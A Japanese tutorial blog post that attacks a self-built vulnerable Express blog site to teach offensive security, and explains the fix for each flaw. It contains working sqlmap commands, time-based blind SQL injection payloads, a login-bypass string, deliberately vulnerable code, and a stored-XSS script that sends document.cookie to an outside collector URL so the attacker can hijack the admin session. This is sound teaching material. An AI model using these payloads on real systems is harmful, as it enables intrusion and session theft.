脆弱性を持ったWebサイトへの攻撃を通してオフェンシブセキュリティの基礎について学ぶ

はじめに

この記事では、自作した脆弱性のあるWebサイト(以降「やられサイト」と呼称する)に自身で攻撃を仕掛けることで、弱点を見つけ出し、セキュリティの強化に活かすオフェンシブセキュリティについて皆さんに学んでいただければと思います。

記事の構成としては、まず最初にやられサイトを簡単に紹介し、続いて実際にWebサイトを攻撃し、修正すべき脆弱性を発見するといったものになっています。脆弱性の修正方法についても解説しています。

また、この記事に書いてある内容を自作したサイト以外に試すことは犯罪となるので絶対にしないようにお願い申し上げます。

自作した脆弱性のあるサイトの詳細

今回私は、node.jsのWebフレームワークであるexpressを用いてやられサイトを作成しました。コードは以下のリンク上で公開されているので、必要に応じて確認していただけると幸いです。

やられサイトのコード

動作環境

やられサイトの動作環境は以下の通りです。

  • express 4.21.0
  • node.js 21.6.2
  • MySQL 9.0.1
  • macOS sonoma 14.1.1
  • Chrome 127.0.6533.120

機能詳細

今回作成したやられサイトは、以下のような簡易的なブログ投稿サイトです。

このWebサイトでは、上の画像で示すようにログイン、ログアウトが可能であり、ログイン状態であれば自分や他者の投稿したブログを読むことができます。

実際にやられサイトを攻撃してみる

ここからはやられサイトを実際に攻撃して、サイトに潜む脆弱性を発見していきます。なお、攻撃の際にサイバーセキュリティに特化したLinuxであるKali Linuxを使用していますが、本記事ではKali Linuxのインストール方法等には触れませんのでご容赦ください。以下のリンクからKali Linuxをインストールできるのでよろしければご確認ください。

Kali Linux インストールプラットフォーム

攻撃方針

Webサイトへの攻撃方針として、まずWebサーバースキャナーを用いてWebサイト全体の脆弱性を調べ、その次にログインフォームやブログ投稿ページなど、脆弱性を持つ機能に対して攻撃していきます。

niktoを用いてサイト全体をスキャンする

まず最初にniktoという、Webサーバーの脆弱性やセキュリティにおける不備を特定するWebサーバースキャナーを用いて、やられサイトに存在する脆弱性を調べます。niktoを用いたWebサーバーのスキャンには基本的に以下のようなコマンドを用います。

nikto -h やられサイトのurl

上記のコマンドを実行すると以下の画像のような出力が得られます。

上記の画像の中で、やられサイトに存在した脆弱性の情報は下記のように出力されています。

この画像を見てみると、レスポンスヘッダーに「x-powered-by header: Express.」というヘッダーがついていることで、expressを使っていることが外部からわかってしまったり、「X-Frame-Options」が設定されていないためiframeタグ等による外部サイトの表示制限がされていないことがわかります。しかし、今回の出力画像で最も注意するべきなのは以下のメッセージです。

/admin/: This might be interesting.

この出力の意味としては「このやられサイトには/adminというディレクトリがある」というものです。しかし、一般ユーザでログインしても、このページへのリンクを画面上で見つけることはできません。というのも、この/adminというページは、adminユーザでログインした上でホーム画面に遷移しなければリンクが表示されないからです。下記の画像がadminユーザでログインした状態のホーム画面です。通常のホーム画面と異なり、画面上部にadminという/adminへのリンクが存在するのがわかります。

今回のやられサイトでは、/adminへのリンクがadminユーザでログインした状態でしか表示されないため、adminユーザでログインした状態でないと/adminに遷移することを禁止するようなアクセス制御を行っていません。

通常、このやられサイトにおけるblog投稿画面やblog一覧ページ等は、以下のコードで示すようにis_loginの有無によって遷移先を決める処理がなされており、非ログイン時はログイン画面に遷移されるようになっています。

router.get("/:id", is_login, function (req, res, next) {
  const postId = Number(req.params.id);
  getPostData(req, res, next, postId);
});

しかし、adminページへの遷移をコントロールしている処理は以下のような実装になっており、is_loginの処理を行っていません。

router.get("/", function (req, res, next) {
  getAllUserData(req, res, next);
});

そのため、nikto等によってadminディレクトリの存在が露出し、直接/adminに遷移されてしまうと、このように本来ユーザがアクセスできないはずの情報に不正にアクセスできてしまいます。こういった脆弱性をアクセス制限不備と言います。この脆弱性によって、このWebサイトではadminユーザでログインしていない状態でもadminディレクトリにアクセスすることができてしまい、本来adminユーザしか見てはいけないはずの以下の画像のようなユーザのid,name,password等の情報に、一般ユーザであってもアクセスすることができてしまいます。

また、今回見つけたアクセス制限不備は、adminページへの遷移をコントロールする処理に以下のようなコードを付け足して、adminユーザ以外が遷移しようとするとログイン画面に飛ばすようにすることで解消できます。

function auth_admin(req, res, next) {
  if (req.hasOwnProperty("user")) {
    //ログインユーザーがadminであればadminへ遷移
    if (req.user[0].name === "admin") {
      next();
    } else {
      res.redirect("/login");
    }
  } else {
    res.redirect("/login");
  }
}
router.get("/", auth_admin, function (req, res, next) {
  getAllUserData(req, res, next);
});

今回の例のように、一般的に管理者ユーザは他のユーザよりもアクセスできる場所が多い等の特権を持っていることが多いので、攻撃者も管理者ユーザになれる脆弱性を積極的に探していると考えられます。アクセス制御不備については以下のOWASPのサイトに詳しく記載されています。

Broken Access Control

sqlmapを使ったログインフォームへの攻撃

次に、SQLインジェクションの検証を行うsqlmapというツールを用いて攻撃を仕掛けていきます。今回のやられサイトでは、/loginにnameとpasswordの情報がPOSTリクエストによって送られた際にログイン処理が行われることが開発者ツールによってわかるので、sqlmapの以下のコマンドでSQLインジェクションが実行可能かの検証を行います。

sqlmap -u http://やられサイトのドメイン名/login --data "name=admin&password=pass"

上記のコマンドを実行することでSQLインジェクションを検出するための様々なペイロードが送信され、下図のような実行結果が出力されます。これによりSQLインジェクション脆弱性の有無を検証することができます。

そうして得られた実行結果を見ると、このログインフォームにはTime-based SQLインジェクションという脆弱性があることがわかります。

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=admin' AND (SELECT 1723 FROM (SELECT(SLEEP(5)))HhUB) AND 'QnJW'='QnJW&password=pass
---

Time-based SQLインジェクションは、SQLクエリの実行結果がユーザ側にわからないようになっている際に有効なSQLインジェクションの一種で、簡単に説明するとレスポンスの応答時間によってデータベースの情報を特定するというものです。

では実際に上記の出力に表示されている以下のペイロードを使って、どのような変化が起こるかを試してみましょう。

admin' AND (SELECT 1723 FROM (SELECT(SLEEP(5)))HhUB) AND 'QnJW'='QnJW

まず、通常通りにログインページにユーザ名とパスワードを入力したときの画像と、その際にレスポンスが返ってくるまでの時間を示します。この際、パスワードは適当な値を入力して大丈夫です。

これを見ると、通常のログイン処理には約13msほどの時間がかかることがわかります。

では次に、sqlmapの出力結果に表示されているペイロードを入力することでどのような変化があるのかを確認してみましょう。ログイン画面に先ほど提示したペイロードを入力した画像と、レスポンスが返ってくるまでの時間を示します。こちらもパスワードは適当な値を入力して大丈夫です。

これらの画像から、SQLクエリに含まれたSLEEP関数が実行され、約5秒間にわたって処理が停止していることが確認できます。

では、これを用いてどのようにしてデータベースの情報を抜き出すことができるのでしょうか。実際にペイロードを作成して確認してみましょう。今回は以下のペイロードを用いて、現在使用しているデータベースの名前を抜き出します。

admin' AND (select if(substr((select database() limit 1),1,1)='s',sleep(5),0)) AND '1'='1

上記のペイロードを送ると、SQLのサブクエリによって現在接続しているデータベースの先頭1文字目を取得し、その文字がsであれば5秒間のスリープを行い、それ以外の文字であれば0を返すという動作を行います。これにより、応答時間の差を利用することで、一文字づつデータベースの名前を取得することができます。今回の場合はデータベース名がsakuraなので、

admin' AND (select if(substr((select database() limit 1),1,1)='s',sleep(5),0)) AND '1'='1

というペイロードを送ると、データベース名の1文字目がsであるのでSLEEP関数が実行され、下記のようにレスポンスが帰ってくるまでに約5秒の応答遅延が発生します。

また、下記のようにペイロードを書き換え、データベース名の1文字目がaであるならばSLEEP関数を実行するように変更します。

admin' AND (select if(substr((select database() limit 1),1,1)='a',sleep(5),0)) AND '1'='1

すると以下のような応答時間となり、SLEEP関数が実行されていないことがわかります。

このようにTime-based SQLインジェクションは、レスポンスの応答時間を手がかりに、データベースの情報を一文字ずつ特定していく方法となっています。Time-based SQLインジェクションはその性質上、手動でこの脆弱性を悪用して情報を抜き出すにはかなりの時間がかかるのですが、sqlmapを使えば自動的にテーブル情報などを抜き出せるため、効率よく攻撃できます。以下はコマンド例です。

sqlmap -u http://やられサイトのドメイン名/login --data "name=admin&password=pass" --risk 3 --level 5 -dump

実際にコマンドを実行するとデータベース名やテーブル名等が以下のように出力されます。下記の画像では、データベース名sakuraとテーブル名blog,userが特定されていることを確認できます。

今回のようなTime-based SQLインジェクションを防ぐには、プレースホルダを用いてSQL文を組み立てる方法があります。詳しくはIPAの「安全なWebサイトの作り方」にて解説されています。また、Time-based SQLインジェクションに関しては以下のサイトも参考になると思います。

やられサイトにXSSがないかを調べる

最後に、Webサイトに不正な入力をすることで攻撃者が入力したコードを実行できてしまうXSS(クロスサイトスクリプティング)と呼ばれる脆弱性がないかを、ブログ投稿画面にコードを打ち込んでいくことで調査していきます。XSSについては、以下の記事にわかりやすくまとめられているのでよろしければご確認ください。

安全なウェブサイトの作り方 - 1.5 クロスサイト・スクリプティング

今回の調査対象は下図のブログ投稿画面です。

上記の画面に、下記のようなJavaScriptのコードを含む内容を投稿します。

//content内容
<h1>This is XSS test</h1>
<script>alert("XSS");</script>

上記の内容で投稿を行い、投稿内容をブラウザで閲覧すると、下記のようにJavaScriptのポップアップが動作していることがわかります。

今回の問題点は、投稿ページのコンテンツ部分にHTMLタグを仕込むによって、テンプレートエンジンにHTMLがそのまま読み込まれてしまっているため、HTMLのscriptタグで任意のスクリプトを実行することができてしまっていることです。これによって、投稿した記事にアクセスしたユーザのCookieに含まれたセッションIDを盗むことが可能になり、結果として攻撃者が他人のセッションを乗っ取ることができてしまいます。

それでは実際に一般ユーザとしてログインし、adminユーザのセッションを乗っ取ってみましょう。今回はuser1ユーザでログインした状態でadminユーザのセッションを乗っ取っていきます。

まずuser1ユーザでログインし、以下のような内容の記事を投稿をします。この際、fetchのurlには、API統合プラットフォームであるPipedreamで取得したリクエストを受け取るためのURLを使用しています。

steal the session
<script>fetch("url",{method: "POST",body: document.cookie})</script>

この記事に含まれるJavaScriptのコードによって、記事にアクセスしたユーザが使用しているブラウザのCookie情報が取得され、fetch関数によって指定したURLに送信されます。

それでは、adminユーザでログインしてからこの記事にアクセスしてみましょう。adminユーザでこの記事にアクセスすると、以下のようなページが表示されると同時に、fetchで指定したURLに以下のようなデータが届きます。

ここで得られたセッションIDであるconnect.sidの値を開発者ツールから自身のcookieの値に貼り付けると、admin画面へと遷移できるadminユーザとしてログインが可能となり、セッションを乗っ取ることができてしまいます。

それでは、この脆弱性を修正していきましょう。今回はXSSを実行する際に投稿内容にJavaScriptのコードを挿入して攻撃を仕掛けましたが、この攻撃方法が成立するのはejsファイルにおいて、取得したコンテンツの内容を<%- %>で囲っているからです。

<div><%- blog.content %></div>

このようにテンプレートエンジンに情報を渡してしまうと、受け取った値をHTMLとして解釈してしまうため、コンテンツ内でHTMLタグを利用した攻撃を仕掛けることができるようになります。これを防ぐには、<%= %>でコンテンツの値を囲ってやるとテンプレートエンジンによってエスケープ処理が実行されるため、コードを書いても実行されなくなり、XSSを仕掛けられなくなります。

また、fetch関数などでセッションIDの情報を送らせないための方法として、セッションCookieをJavaScriptから読み取って外部に送信できないよう、Cookieの発行時にHttpOnly属性を付与するという対策もあります。これによって直接的にセッションが奪われる可能性を低減できます。しかしこの対策を講じても不正な操作や任意のページを読み出して外部へ送信するなどの攻撃は依然として可能であるため、根本的な対策ではなく追加の緩和策に過ぎない点に注意が必要です。

まとめ

本記事では、やられサイトへの攻撃を通じてやられサイトの脆弱性を把握し、自身のWebサイトの改善点や弱点を探るオフェンシブセキュリティについて紹介させていただきました。今回は、主にツールに任せたセキュリティチェックを実施しましたが、ツール頼りでは検出が難しい脆弱性等もございますので、さらに深くサイトのセキュリティチェックを行いたい方はセキュリティを学んだり、CTFに参加することでより深い分析を行えるようにセキュリティの知識を磨くことをおすすめします。

なお、今回のやられサイトにおいて、使用したツールでは検出できなかった脆弱性として、ログイン画面でのSQLインジェクションが挙げられます。今回のログイン処理は以下のようなpassport.jsを用いたコードで実装されています。

passport.use(
  new LocalStrategy(
    {
      usernameField: "name",
      passwordField: "password",
    },
    function (name, password, done) {
      const sql = `select * from user where name='${name}' and password='${password}'`;
      if (sql.includes(":")) {
        return done(null, false);
      }

      pool
        .query(sql)
        .then((data) => {
          const user = data[0][0];

          return done(null, user);
        })
        .catch((err) => console.log(err));
    }
  )
);

これに対して以下のようなペイロードを入力することで認証を突破することができるようにやられサイトを作成したのですが、今回検証した方法では脆弱性を検出することができませんでした。

//nameに以下の値を入力する
admin' or '1' = '1

このようにユーザ入力が可能な機能は、脆弱性を作り込んでしまいやすい一方で自動の脆弱性スキャナだけでは検出できないものが多く、手動での調査が必要になることが多々あります。皆さんもこれを機にオフェンシブセキュリティをはじめとしたセキュリティについての理解を深め、自作のWebサイトをより安全なものにしていきましょう。

参考文献